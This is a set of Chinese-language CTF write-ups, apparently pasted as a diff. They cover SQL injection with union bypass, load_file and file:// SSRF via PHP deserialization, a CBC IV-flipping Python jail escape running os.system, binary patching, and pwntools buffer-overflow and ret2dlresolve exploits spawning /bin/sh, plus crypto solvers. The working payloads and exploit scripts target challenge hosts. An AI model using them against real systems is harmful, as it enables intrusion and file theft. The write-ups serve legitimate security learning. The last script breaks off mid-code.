+ trajectoryPage
+ .find('#auto')
+ .click(()=>auto(1000));
+ trajectoryPage
+ .find('#auto2x')
+ .click(()=>auto(500)); // 改为0
现在开局就有无限属性+全橙卡 开始你的逆天之路吧!
+不一定能渡劫成功 但是因为改掉了延迟,基本一轮不到5秒 开几轮就能拿到flag。
+
++flag{My_fate_1s_up_to_M3_in_Cyber_W0rld}
+
注册一个账号 登录后发现网页会内嵌blog中的网址,同时发现请求的参数为
+++view.php?no=2
+
加个分号试试 view.php?no=2'
+++[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
+
看到这报错信息,DNA动了
+orderby爆字段数量,5时报错说明字段数为4
++?no=1 order by 4#
+
union select被屏蔽 用/**/就可以绕过,发现字段2可以直接回显
+++?no=9 union/**/select 1,2,3,4#
+
这时候有SQL注入大佬可能会先看看权限
+++?no=9 union/**/select 1,user(),3,4#
+
一查吓一跳,root@localhost,那还注什么,直接随便打拿flag了
+++?no=9 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
+
执行后在用户名的地方查看源码就能得到flag
+那如果不是SQL注入大佬,没有一步拿到flag,我们接着往下做:
+查信息表找表名,列名 内容
++?no=9 union/**/select 1,(select table_name from information_schema.tables limit 1 offset 0),3,4#
+?no=9 union/**/select 1,(select column_name from information_schema.columns where table_name='users' limit 1 offset 3),3,4#
+?no=9 union/**/select 1,(select data from users where no=2),3,4# +可以知道表的结构为: +- no 用户id +- name 用户名 +- password 密码的hash +- data O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:20:"http://www.baidu.com";}
+
其中data看起来是序列化的php内容,试着放到结果中
+++?no=9 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:20:"http://www.baidu.com";}'#
+
会发现反序列化了我们的内容,这时候有经验的web大佬又已经想到了伪协议SSRF了,只需要更改一下序列化的内容就能读出flag
+没有想到的同学也可以通过查看robots.txt得到源码 查看逻辑得知反序列化过程
++?no=9 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
+
执行后在bolg预览的地方查看源码就能得到flag
+++flag{U_mast3red_inj3ctiOn_Unser1alize_and_SSrF!}
+
有很多种方法做,分享几个自动化的解法,以下仓库都在github上开源,其中CyberChief有在线版本:
+- Ciphey 可以全自动解决问题
+
+- BaseCrack 可以解决大量的base编码
+
+- CyberChief 可以自动解决很多步骤
+
本题名称提示最后一步是atbash解码,如果没有想到直接百度搜索"ctf uozt{}"或者搜索"crypto uozt{}"都能得到解法
+++flag{wOW_y0U_Real1y_ma5ter3d_enc0d1ng!}
+
根据已知的flag{}格式写出方程求解abcd:
+from z3 import *
+
+solver = Solver()
+
+a = Real('a')
+b = Real('b')
+c = Real('c')
+d = Real('d')
+solver.add(a * pow(ord('f'), 3) + b * pow(ord('f'), 2) + c * ord('f') + d == 5699462831574115)
+solver.add(a * pow(ord('l'), 3) + b * pow(ord('l'), 2) + c * ord('l') + d == 6762178137517177)
+solver.add(a * pow(ord('a'), 3) + b * pow(ord('a'), 2) + c * ord('a') + d == 4904006952609865)
+solver.add(a * pow(ord('g'), 3) + b * pow(ord('g'), 2) + c * ord('g') + d == 5868227804276587)
+solver.add(a * pow(ord('{'), 3) + b * pow(ord('{'), 2) + c * ord('{') + d == 9978816733414447)
+solver.add(a * pow(ord('}'), 3) + b * pow(ord('}'), 2) + c * ord('}') + d == 10472292506842245)
+if solver.check() == sat:
+ for i in str(solver.model())[1:-1].split(","):
+ print(i.strip())
+
+解出abcd的值后带入求解:
+b = 4849411009
+a = 5322682364
+d = 4215800245
+c = 5218014711
+enc = [5699462831574115, 6762178137517177, 4904006952609865, 5868227804276587, 9978816733414447, 2555804598727387,
+ 7339798412634739, 9038863758685179, 4607800653388515, 8591875579876765, 4607800653388515, 2012199806528365,
+ 761800081770865, 8813480590313107, 718942790851879, 4607800653388515, 8374016791281969, 6040291893502029,
+ 5533965039300429, 4607800653388515, 4904006952609865, 5056755384110247, 6215687035344625, 6762178137517177,
+ 638111591795929, 3189435100987729, 9501092313613249, 4607800653388515, 8374016791281969, 7339798412634739,
+ 4607800653388515, 1622988744649015, 7949410135240279, 9501092313613249, 7539405133434565, 8374016791281969,
+ 600073811470597, 196738654989577, 10472292506842245]
+
+for i in enc:
+ for j in range(32, 127):
+ if a * j ** 3 + b * j ** 2 + c * j + d == i:
+ print(chr(j), end="")
+
+即得flag
+++flag{Now_u_H4v3_the_abil1Ty_to_Crypt0!}
+
可以通过给出的密文反解IV,示例代码+运行hello world
+from pwn import *
+from Crypto.Util.Padding import pad
+
+local = True
+
+host, port = "103.102.44.218", 10007
+
+if local:
+ p = process('python CBC.py', shell=True)
+else:
+ p = remote(host,port)
+
+p.recvuntil(b'sample encryption\n')
+sample = p.recvline()
+
+iv = unhex(sample[:32])
+ct = unhex(sample[32:])
+pt = b'trapped_forever'
+
+log.info(f'got iv: {enhex(iv)}')
+log.info(f'got ct: {enhex(ct)}')
+log.info(f'got pt: {enhex(pt)}')
+
+pt = pad(pt, 16)
+pl = pad(b'print("hello")', 16)
+
+log.info(f'sending: {pl}')
+res = p.recvuntil(b'>>')
+target = xor(pt, pl)
+new_iv = xor(target, iv)
+
+final_payload = enhex(new_iv) + enhex(ct)
+p.sendline(final_payload.encode())
+p.interactive()
+
+得到了预期结果
+$ python helloworld.py
+[+] Starting local process '/bin/sh': pid 379634
+[*] got iv: 2d9563e81f33b3501e1e362e0f6fb173
+[*] got ct: 2a835fcae4c11657a7b6ddae5a6e8ed1
+[*] got pt: 747261707065645f666f7265766572
+[*] sending: b'print("hello")\x02\x02'
+[*] Switching to interactive mode
+hello
+>>
+
+将hello world替换成我们想要的命令,源程序已经导入了OS库,不需要再次import,于是使用os.system('ls -la')
#!/usr/bin/python3
+
+from pwn import *
+from Crypto.Util.Padding import pad
+
+local = True
+
+host, port = "103.102.44.218", 10007
+
+if local:
+ p = process('python CBC.py', shell=True)
+else:
+ p = remote(host,port)
+
+p.recvuntil(b'sample encryption\n')
+sample = p.recvline()
+
+iv = unhex(sample[:32])
+ct = unhex(sample[32:])
+pt = b'trapped_forever'
+
+log.info(f'got iv: {enhex(iv)}')
+log.info(f'got ct: {enhex(ct)}')
+log.info(f'got pt: {enhex(pt)}')
+
+pt = pad(pt, 16)
+
+def encpayload(s):
+ hexed = enhex(s)
+ encoded = '|\\x'.join([hexed[x:x+2] for x in range(0, len(hexed), 2)]).split('|')
+ parts = [f"a='\\x{encoded[0]}'"]
+ for i, p in enumerate(encoded[1:]):
+ parts.append(f"a+='{p}'")
+
+ return parts
+
+# any payload will do, we can keep appending anything to variable
+payload_list = encpayload(b'os.system("ls -la")')
+payload_list.append('print(a)')
+payload_list.append('exec(a)')
+
+for pl in payload_list:
+ res = p.recvuntil(b'>>')
+
+ pl = pad(pl.strip().encode(), 16)
+
+ target = xor(pt, pl)
+ new_iv = xor(target, iv)
+
+ final_payload = enhex(new_iv) + enhex(ct)
+ p.sendline(final_payload.encode())
+
+p.interactive()
+
+给出了想要的flag
+$ ./solve.py
+[+] Opening connection to jail-crypto.challenge.cryptonite.team on port 1337: Done
+[*] got iv: 7f3468ee6bec6395f9a6a96eaf078612
+[*] got ct: c67bd34273a2f25477432de5590fcad2
+[*] got pt: 747261707065645f666f7265766572
+os.system("ls -la")
+total 16
+drwxr-xr-x 2 nobody nogroup 4096 Dec 10 13:44 .
+drwxr-xr-x 3 nobody nogroup 4096 Dec 10 13:44 ..
+-rw-r--r-- 1 nobody nogroup 41 Dec 6 13:08 flag.txt
+-rw-r--r-- 1 nobody nogroup 0 Dec 6 13:08 flag{w0W_s3Ems_u_really_g00D_4t_crypt0!}
+-rwxr-xr-x 1 nobody nogroup 1387 Dec 6 13:08 CBC.py
+>>
+
+程序首先对char flag数组每个元素+32得到flag,然后开始随机生成可打印的flag字符串进行比较。
+如果生成的随机内容正好是正确的flag就显示正确结束程序,如果不正确就继续随机生成。
+我们可以:
+- 1 让猴子慢慢生成,反正找到正确flag的概率不是0
+- 2 直接把flag数组的内容+32拿到flag
相信大家可以很快做出这道题。
+++flag{we1c0m3_tO_rEv3re_w0r1d!}
+
IDA打开,发现是不熟悉的界面 有经验的同学会直接看函数栏中最上边几个函数就是入口函数
+但是我不喜欢exe,也不知道怎么找入口函数,于是按下shift+F12,紧接着ctrl+F,输入"flag",按下回车,一整套操作一气呵成,然后也可以找到:
+
+双击结果,再双击DATA XREF: sub_1400010C0跟进引用就找到了主函数
+按下F5,主函数逻辑十分清楚。重命名几个变量就能得到:
__int64 sub_1400010C0(){
+ int l; // [rsp+20h] [rbp-38h]
+ int j; // [rsp+24h] [rbp-34h]
+ int k; // [rsp+28h] [rbp-30h]
+ int i; // [rsp+2Ch] [rbp-2Ch]
+ HANDLE hConsoleOutput; // [rsp+38h] [rbp-20h]
+ CONSOLE_CURSOR_INFO ConsoleCursorInfo; // [rsp+40h] [rbp-18h] BYREF
+ ULONGLONG v7; // [rsp+48h] [rbp-10h]
+
+ printf("You will find flag here!\n");
+ hConsoleOutput = GetStdHandle(0xFFFFFFF5);
+ SetConsoleTextAttribute(hConsoleOutput, 0xAu);
+ ConsoleCursorInfo.dwSize = 1;
+ ConsoleCursorInfo.bVisible = 0;
+ SetConsoleCursorInfo(hConsoleOutput, &ConsoleCursorInfo);
+ v7 = GetTickCount64();
+ menset(flag_arr, 61i64, 1600i64);//61是"="的ASCII
+ for ( i = 0; i < 97; ++i ) //循环97次
+ {
+ SetConsoleCursorPosition(hConsoleOutput, 0);
+ for ( j = 0; j < 20; ++j )//总共20行
+ {
+ for ( k = 0; k < 80; ++k )//每行80个字符
+ putchar(flag_arr[80 * j + k]); //打印每个字符
+ printf("\n");//打印换行符
+ }
+ for ( l = 0; l < 1600; ++l ) //data_arr是97个char[1600],正好每个字符都亦或一次
+ flag_arr[l] ^= *(_BYTE *)(data_arr[i] + l);
+ Sleep(100);//每轮都暂停0.1秒
+ if ( GetTickCount64() - v7 > 4000 )
+ return 0i64;//如果程序运行时间超过4秒退出程序
+ }
+ system("pause > nul");
+ return 0i64;
+}
+
+所以程序就是一个初始数组和97个等长的数组每个亦或一次,得到最终的输出
+但是每次亦或完都会暂停0.1秒,40次之后就会退出。
+那么可以考虑的解法有:
+- 导出97个数组,然后模拟亦或过程得到最终输出
+- 把sleep禁用
+- 把超时return禁用
解法1 禁用sleep:
+找到Sleep函数的地方,Edit -> Patch Program -> Assemble
+
+将Sleep的毫秒参数从
++mov ecx, 64h
+
修改为
+++mov ecx, 0h
+
点击确定修改完本行后IDA还会自动Patch下一行汇编,这时候取消即可
+之后应用修改,Edit -> Patch Program -> Apply Patches to input file
+然后运行程序即可看到漂亮的flag
+
解法2 阻止超时:
+类似方法1,修改限制时间的cmp rax, 0FA0h为更大的数字
+或者修改返回分支的跳转条件jbe short loc_14000124D
解法3 模拟亦或过程: +97个数组在程序二进制中是连续的,可以计算偏移量之后入读二进制然后手动分割数据
+推荐解法1,一步到位。
+++flag{p47ch_PrO6r4m_1s_n0t_A_h4rd_7hin9}
+
初始随机种子没有随机化,因此第一个随机数也是定值,用其做种子之后整个序列都是固定的,但是程序逻辑是有坑的不好复现代码,所以动态调试获取整个XOR序列的最终值:
+我选择使用IDA进行动态调试,在这里下断点
+
执行后在弹窗蓝字中选择让IDA自动把所有异常传给程序
+触发断点后就可以双击跟进byte_983370得到运算结果
+
最后就是用动态获取的byte_983370值亦或输入再亦或最后的比较数组byte_E62138
+这里我的输入是44个数字1,因此脚本如下:
# 写死的比较数组
+byte_E62138 = [0x3e, 0xcd, 0xaa, 0x8e, 0x96, 0x69, 0x94, 0x98, 0xda, 0xa8, 0x27, 0xa4, 0xf7, 0xc5, 0xfb, 0x90, 0xf3,
+ 0xb3, 0xdf, 0xd8, 0x71, 0x30, 0x47, 0x19, 0x1b, 0x65, 0xd, 0xca, 0x6f, 0x8, 0x89, 0x8c, 0xe7, 0x87, 0x5d,
+ 0xbc, 0x9f, 0xf2, 0x83, 0x69, 0x8d, 0x24, 0xD3, 0x5A]
+# 调试时获取的byte_983370
+key = [0x69, 0x90, 0xFA, 0xD8, 0xDC, 0x1D, 0xDD, 0xCA, 0xD8, 0xF5, 0x27, 0xA6, 0xA8, 0x80, 0x95, 0xD8, 0xF2, 0xF7, 0xB1,
+ 0x8E, 0x0F, 0x75, 0x29, 0x1F, 0x42, 0x67, 0x63, 0x89, 0x6A, 0x57, 0xDC, 0x8D, 0xBB, 0xE9, 0x07, 0xBE, 0xD7, 0xE2,
+ 0x80, 0x60, 0x88, 0x68, 0xD3, 0x5A]
+
+for i in range(0, 42):
+ print(chr(key[i] ^ byte_E62138[i] ^ ord('1')), end='')
+
+运行获得flag
+++flag{Exc3l13nt_y0u_gOt_7h3_r4nd0m_k3y!284}
+
Jd-GUI打开,主要逻辑是将输入的字符串做DES加密,密钥是easy_key,如果结果等于密文证明输入的flag正确
+import java.util.Base64;
+import java.util.Scanner;
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.swing.JOptionPane;
+
+public class EzJar {
+ //hint: flag not here but the logic are same
+ public static void main(String[] args) throws Exception {
+ JOptionPane.showMessageDialog(null, "Give me your flag:", "alert", JOptionPane.QUESTION_MESSAGE);
+ System.out.print("Give me your flag:");
+ Scanner sc = new Scanner(System.in);
+ String s = sc.next();
+ Cipher cipher = Cipher.getInstance("DES");
+ cipher.init(1, new SecretKeySpec("easy_key".getBytes(), "DES"));
+ String result = new String(Base64.getEncoder().encode(cipher.doFinal(s.getBytes())));
+ System.out.println(result);
+ if ("UUwnbEk0rzLol6T6uWsAqIlSzBsuPYTtuaxkQBwZA1zwu6ba5rnSM82HBI8AMbQhX5KdguHFpXtBInmrvakU6uDQ4whqs+FfRrrQqxupe/lxNirtl2deAg==".equals(result)) {
+ JOptionPane.showMessageDialog(null, "Accept!");
+ System.out.print("Accept!");
+ } else {
+ JOptionPane.showMessageDialog(null, "Wrong answer!");
+ System.out.print("Wrong answer!");
+ }
+ }
+}
+
+但是在DES线解密(或者用java重运行一下解密)之后得到
+++notflag{hint:jar_will_consider_a.class/_as_file_but_zip_will_consider_it_as_folder}
+
提示说jar对于类名.class会忽略尾部的/,但是zip会认为这是一个目录而不是文件。
+仔细观察,我们看到的并不是EzJar.class而是一个静态的EzJar.java
+查看jar的16进制,果然有一个奇怪的文件
+
+jar在运行时会查找MANIFEST中的类名.class,同时忽略尾部的/。也就是说”EzJar.class/”会被识别为文件而不是文件夹,因此jar加载的class实际是”EzJar.class/”。(事实上,java甚至会忽略CRC校验,而ZIP会拒绝解压)
+为了取出/结尾的文件,可以写java脚本读取jar重写entry,更简单的方法是将hex里的文件名”EzJar.class/”替换为”EzJar1.class”就可以用zip解压出真实的class文件了。
+将解压出的”EzJar1.class”交给IDEA反汇编,看到”EzJar1.class”的主要逻辑和假文件EzJar.java是完全一样的,只有字符串被加密了。
混淆的代码,实际格式和上边一模一样
+public static void main(String[] var0) throws Exception {
+ JOptionPane.showMessageDialog((Component)null, I[l[0]], I[l[1]], l[2]);
+ System.out.print(I[l[3]]);
+ byte llllllllllllIIl = new Scanner(System.in);
+ char llllllllllllIII = llllllllllllIIl.next();
+ String lllllllllllIlll = Cipher.getInstance(I[l[2]]);
+ lllllllllllIlll.init(l[1], new SecretKeySpec(I[l[4]].getBytes(), I[l[5]]));
+ int lllllllllllIllI = new String(Base64.getEncoder().encode(lllllllllllIlll.doFinal(llllllllllllIII.getBytes())));
+ if (lIl(I[l[6]].equals(lllllllllllIllI))) {
+ JOptionPane.showMessageDialog((Component)null, I[l[7]]);
+ System.out.print(I[l[8]]);
+ "".length();
+ if (-" ".length() > 0) {
+ return;
+ }
+ } else {
+ JOptionPane.showMessageDialog((Component)null, I[l[9]]);
+ System.out.print(I[l[10]]);
+ }
+
+ }
+
+也就是只需要解密出flag和key的字符就能得到flag,找到他们所在的位置
+static {
+ lII();
+ ll();
+ AC = I[l[11]];
+ flag = I[l[12]];
+ enc = I[l[13]];
+ banner = I[l[14]];
+ WA = I[l[15]];
+ key = I[l[16]];
+ }
+
+I 数组是加解密数组,而l数组是下标替换数组,获取l和I的值只需要把代码复制直接运行就能得到真实的索引,然后把对应的密文和密码找出来
+其中的加密加密并不复杂,只有三种:
+- ①有看似冗长其实就是循环亦或的加解密,解密
+ s=b64decode(b"第一个参数密文")
+ key=b"第二个参数密钥"
+ for i in range(0,len(s)):
+ print(chr(s[i]^key[i%len(key)]),end="")
+- 用密码的MD5转换为DES密钥加解密
+- 用密码的MD5转换为Bolwfosh密钥加解密
+这两种用java再运行一次就是解密
找到flag和key对应的加密方法,解密得到key为me@Ctf3r,用key DES解密得到flag
+++flag{Ctf3r_me_1s_A_very_g0Od_9Uy}
+
PS. IDA直接打开jar就可以看到真实的entry
+IDA的逻辑可以看的十分清楚,程序分为前面的三个check和后面的一个溢出 三次ckeck依次为:
+第一个check是输入一个long long,如果小于10就转换为int调用talk
+我们可以输入一个负数使得转换成int时等于10,用c写个脚本从longlong的最小值遍历就能立刻得到一个符合条件的结果 -9223372036854775798
long long choice = 0;
+puts("\n第一周,鸽子没有出现在训练现场,你准备去叫他");
+ printf("本周你的解决方法是(0-9):");
+ scanf("%lld", &choice);
+ if (choice < 10) {
+ win_count += talk(choice);
+ }
+ else {
+ win_count += talk(rand() % 10);
+ }
+
+第二个check是输入一个int 如果小于10就调用talk
+我们需要跳过这个输入,scanf在接受无效值时会跳过赋值, 正负号+ - 是可以跳过scanf又不结束程序的无效值。
+或者输入一个过大的整数也能跳过输入,比如 把第一次的输入复制一次 也行
scanf("%d", &choice);
+ if (choice < 10) {
+ win_count += talk(choice);
+ }
+ else {
+ win_count += talk(rand() % 10);
+ }
+
+第三个check是输入一个int 和一个当前时间(精确到秒)的随机数,如果随机数输入正确就进行talk
+因为是精确到秒的随机种子,所以我们只要进行到这一步时候本机也生成一个随机数发送过去就是一致的
int x = 0;
+ srand(time(0));
+ choice = 0;
+ int y = rand();
+ scanf("%d %d", &choice, &x);
+ if (y == x) {
+ win_count += talk(choice);
+ }
+ else {
+ win_count += talk(rand() % 10);
+ }
+
+最终会接受一个a字符串溢出,覆盖后边的变量win_flag就能完成PWN
+char* a = "";
+int win_flag = 0;
+if (win_count > 2) {
+ gets(&a);
+ }
+ else {
+ puts("\n加油,再试一次吧!");
+ }
+
+整个题目脚本如下:
+from pwn import *
+import ctypes
+
+p=process("./dove")
+
+libc = ctypes.CDLL('/lib/x86_64-linux-gnu/libm.so.6') # 预先加载libc减少延迟
+
+print(p.recv().decode())
+p.sendline(b"-9223372036854775798") # longlong < 10, 转int之后正好=10
+
+print(p.recv().decode())
+p.sendline(b"-") # 跳过scanf 或者用一个很大的数字也可以 比如上边的-92233...
+
+libc.srand(libc.time())
+print(p.recv().decode())
+p.sendline(b"10 "+str(libc.rand()).encode()) #同步生成随机数
+
+print(p.recv().decode())
+p.sendline(b"a"*50) # 溢出覆盖后边的变量
+
+p.interactive()
+
+首先ckecksec看下保护
+
+平平无奇只开了NX和部分RELRO,IDA看逻辑:
ssize_t vuln(){
+ char buf[8]; // [esp+Ch] [ebp-Ch] BYREF
+
+ return read(0, buf, 52);
+}
+
+是一个溢出,但是很可悲的是这个题目不仅没有后门函数,甚至没有解析 任何的输出方法 ,没有输出就难以泄露地址,而libc又是随机加载的不知道初始地址,所以我们有以下思路: +- 爆破libc的偏移 return to OneGadGet +- ret2dlresolve +其中方法二是一种比ret2libc更强大的ROP,可以在不泄露libc地址的情况下通过dlresolve用任意函数名覆盖解析已有的函数。而pwntools又提供了强大的Ret2dlresolvePayload类,下面是自动化脚本:
+from pwn import *
+
+context.binary = elf = ELF('wish')
+r = remote("xx.xx.xx.xx",xxxx)
+rop = ROP(context.binary)
+dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
+rop.read(0, dlresolve.data_addr, 200)
+rop.ret2dlresolve(dlresolve)
+r.send(b'A' * (0xc+4) + rop.chain())
+pause(1)
+r.send(dlresolve.payload)
+r.interactive()
+
+运行就能获得shell
+短短12行代码就能完成强大的ret2dl,pwntools确实是强大的工具。
当然,我们要想了解ret2dlresolve的原理,最好的办法是不借助轮子实现一次。
+而且上边的自动化脚本发送的第一段栈迁移的payload长度正好是52个字符,很极限,我们手写的脚本不需要平衡栈的情况下只需要48个字符,多了一点空间:
from pwn import *
+
+elf = ELF('./wish')
+
+offset = 0xc + 4
+ppp_ret = 0x080492a1 # ROPgadget --binary wish --only "pop|ret"
+leave_ret = 0x08049125 # ROPgadget --binary wish --only "leave|ret"
+plt_0 = 0x08049030 # objdump -d -j .plt wish
+rel_plt = 0x08048350 # objdump -s -j .rel.plt wish
+dynsym = 0x08048248 # readelf -S wish
+dynstr = 0x080482b8 # readelf -S wish
+ret = 0x0804900e # ROPgadget --binary wish --only "ret"
+
+pop_ebp_ret = ppp_ret + 2
+read_plt = elf.plt['read']
+stack_size = 0x800
+bss_addr = elf.sym['__bss_start']
+base_stage = bss_addr + stack_size
+r = remote("xx.xx.xx.xx",xxxx)
+
+# read(0, bss, 100)把payload2写入bss段,并把栈迁移到bss段
+payload = b'A' * offset + p32(ret) + p32(read_plt) + p32(ppp_ret) + p32(0) + p32(base_stage) + p32(100) + \
+ p32(pop_ebp_ret) + p32(base_stage) + p32(leave_ret)
+r.send(payload)
+
+align = 0x10 - ((base_stage + 40 - dynsym) % 16)
+fake_sym_addr = base_stage + 40 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
+r_info = ((((fake_sym_addr - dynsym) // 16) << 8) | 0x7) # 使其最低位为7,通过检测
+fake_write_rel = flat(p32(elf.got['read']), p32(r_info))
+fake_write_str_addr = base_stage + 40 + align + 0x10
+fake_name = fake_write_str_addr - dynstr
+fake_sym = flat(p32(fake_name), p32(0), p32(0), p32(0))
+
+payload2 = flat(b'AAAA'
+ , p32(ret)
+ , p32(plt_0)
+ , base_stage + 32 - rel_plt # arg
+ , p32(ppp_ret)
+ , p32(base_stage + 80)
+ , p32(base_stage + 80)
+ , p32(7) # len("/bin/sh")
+ , fake_write_rel # base_stage + 32
+ , b'A' * align # 用于对齐的填充
+ , fake_sym # base_stage + 40 + align
+ , b'system\x00' # 伪造出的字符串
+ )
+payload2 += b'A' * (80 - len(payload2)) + b'/bin/sh\x00'
+payload2 += b'A' * (100 - len(payload2))
+r.sendline(payload2)
+r.interactive()
+
+PWN-dove 的源码已上传到群里
+Misc-ezPWD 的密码是18位身份证号
+Web-Life Restart 突破100岁是必要条件是橙色天赋"神秘的小盒子" 顺利修仙需要很高的属性 自动播放可以很快很快
+RE-Extremely slow 程序限制是一个时间常数,超时退出
+Web-BBS 注入是突破口
+RE-Random 动态调试
BBS 提示 很简单的SQL注入
+Extremely slow 提示 修改最大时间限制常数
+Random 提示 动态调试获取key
+java_re 提示 第一步解法用了https://itzsomebody.xyz/2021/07/11/javaisez3-writeup.html 的解析特性
+wish 提示 ret2dlresolve
+Double Frank 提示 双指针数组模拟环状队列;特殊情况Double Free;构造tcache dup
Category: Cryptography
+Source: 祥云杯2020
+Author: unknown
+Score: 50
+Do you know how to rsa?
+from Crypto.Util.number import *
+import gmpy2
+p = getStrongPrime(512)
+q = getStrongPrime(512)
+n = p * q
+phi = (p - 1) * (q - 1)
+e = 7621
+d = gmpy2.invert(e, phi)
+flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
+c = pow(bytes_to_long(flag), e, n)
+dp = d % (p - 1)
+print(dp >> 200)
+print(c, e, n)
+
+
+#1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985
+#46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616
+#7621
+#140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863
+
+dp泄露,但是dp被右移了200位,想到了Coppersmith攻击,这个是dp高位泄露,所以应该是求((dp*e-1)/i)+1 的 small roots 就可以了
+参考KAPO2019 crypto的题
+https://github.com/pcw109550/write-up/tree/master/2019/KAPO/Lenstra-Lenstra-Lovasz
+写出解密sage脚本
+n = 140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863
+secret = 1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985
+ct = 46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616
+[n, secret, ct] = list(map(Integer, [n, secret, ct]))
+e = 7621
+
+
+def facorize(e, dp):
+ for i in range(2, e):
+ p = (e * dp - 1 + i) // i
+ if n % p == 0:
+ return p
+ return -1
+
+
+
+
+def recover(secret):
+ F.<x> = PolynomialRing(Zmod(n))
+ einv = inverse_mod(e, n)
+ for k in range(1, e):
+ print("k =", k)
+ f = (secret << 200) + x + (k - 1) * einv
+ x0 = f.small_roots(X=2 ** (200 + 1), beta=0.44, epsilon=1/32)
+ if len(x0) != 0:
+ dp = x0[0] + (secret << 200)
+ p_cand = facorize(e, Integer(dp))
+ if p_cand < 0:
+ continue
+ else:
+ return p_cand, dp
+
+
+if __name__ == "__main__":
+ p, dp = recover(secret)
+ q = n // p
+ assert p * q == n
+ phi = (p - 1) * (q - 1)
+ d = inverse_mod(e, phi)
+ print("p = ", p, "\nq = ", q)
+ flag = bytes.fromhex(hex(pow(ct, d, n))[2:])
+ print(flag)
+
+
+flag{45879a9e-1431-4c34-86e2-6f1f7bb1256d}
+Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
+ + + + + + + + +Category: Cryptography
+Source: 祥云杯2021
+Author: unknown
+Score: 15
+在一次任务中我遇到了一个challenge,我的队友给我发了一个他截获的hint,你利用这个hint能帮我完成这个challenge吗?nc 0.cloud.chals.io 14337
首先它有一个密钥生成的代码。key
是一个20*4的矩阵,元素均为三位数,然后右乘一个随机1024位矩阵得到。我们只知道key
矩阵第一行的内容,以及的值,但是不知道矩阵的内容。
猜测可能可以用格基规约先弄出key
,但是有感觉不靠谱,我们先放一放,审计一下oracle交互的Guess.py
文件。
文件中使用的密码算法是Paillier算法,该算法支持同态加法。oracle交互逻辑如下:
+本质上只需要把key
恢复出来即可。但是我们可以在上面的第四步做文章。
第四步可以用Paillier算法的性质来构造密文。记,Paillier算法对于一个明文,先随机生成一个,然后计算。
+那么,如果我们已经知道两个明文密文对,我们计算
+ +此时我们会发现这个新构造的密文对应明文。
+因此,我们可以令为oracle所给的密文,并使用题目所给的公钥得到另一个明文密文对,譬如令,然后用和加密得到,并构造密文
+ +然后就可以在oracle的第四步输入这个,这样oracle所解出的明文就是
+ +因为题目所给的key
是固定的,也就是说是固定的,所以oracle解出的明文也是有限的(80个),这就变成了一个80个样本的二分类问题。我们可以把所输入的和固定,可以多次和oracle交互,先尝试猜测答案,根据oracle的检验结果得到若干的先验知识。
然后只要先验知识足够多,那就能保证很大概率猜对。猜测答案代码如下:
+from hashlib import sha256
+import string
+import itertools
+from pwn import *
+from Crypto.Util.number import *
+import random
+
+def enc(n, g, m):
+ while 1:
+ r = random.randint(2, n - 1)
+ if GCD(r, n) == 1:
+ break
+ c = (pow(g, m, n ** 2) * pow(r, n, n ** 2)) % (n ** 2)
+ return c
+
+with open('gao_log_3', 'a') as f:
+ while (True):
+ conn = remote('47.104.85.225', 57811)
+
+ # SHA-256(?+hUWmo9BJ34LI) == 3919fa0f116d1a87c97d98dd43e08f77b090df5c88b1417c1c7e2c006a200aef
+ s = conn.recvline().strip().decode()
+ s2 = s[10:22]
+ ans = s[-64:]
+
+ for i in itertools.product(string.ascii_letters + string.digits, repeat=4):
+ s1 = ''.join(i)
+ ss = s1 + s2
+ if (sha256(ss.encode()).hexdigest() == ans):
+ conn.sendline(s1)
+ break
+
+ while (True):
+ conn.recvuntil('n = ')
+ n = conn.recvline()
+ n = int(n)
+
+ conn.recvuntil('g = ')
+ g = conn.recvline()
+ g = int(g)
+
+ conn.sendlineafter('Please give me one decimal ciphertext.', '2')
+ conn.recvuntil('This is the corresponding plaintext.\n')
+ mm = conn.recvline()
+ mm = int(mm)
+
+ conn.sendlineafter('Give me m0.', '40343')
+ conn.sendlineafter('Give me m1.', '52051')
+ conn.recvuntil('This is a ciphertext.\n')
+ c = conn.recvline()
+ c = int(c)
+
+ mm = 2
+ c2 = enc(n, g, mm)
+ cc = (c * c2) % (n ** 2)
+ conn.sendlineafter('Please give me one decimal ciphertext', str(cc))
+ conn.recvuntil('This is the corresponding plaintext.\n')
+ m2 = conn.recvline()
+ m2 = int(m2)
+
+ conn.sendlineafter('m1 -> c1)?', '0')
+ s = conn.recvuntil('!')
+ if (b'Sorry') in s:
+ f.write(f'{m2}, 1\n')
+ conn.close()
+ break
+ else:
+ f.write(f'{m2}, 0\n')
+
+利用猜测答案所得的知识库进行交互的代码如下:
+from hashlib import sha256
+import string
+import itertools
+import random
+from pwn import *
+from Crypto.Util.number import *
+
+def enc(n, g, m):
+ while 1:
+ r = random.randint(2, n - 1)
+ if GCD(r, n) == 1:
+ break
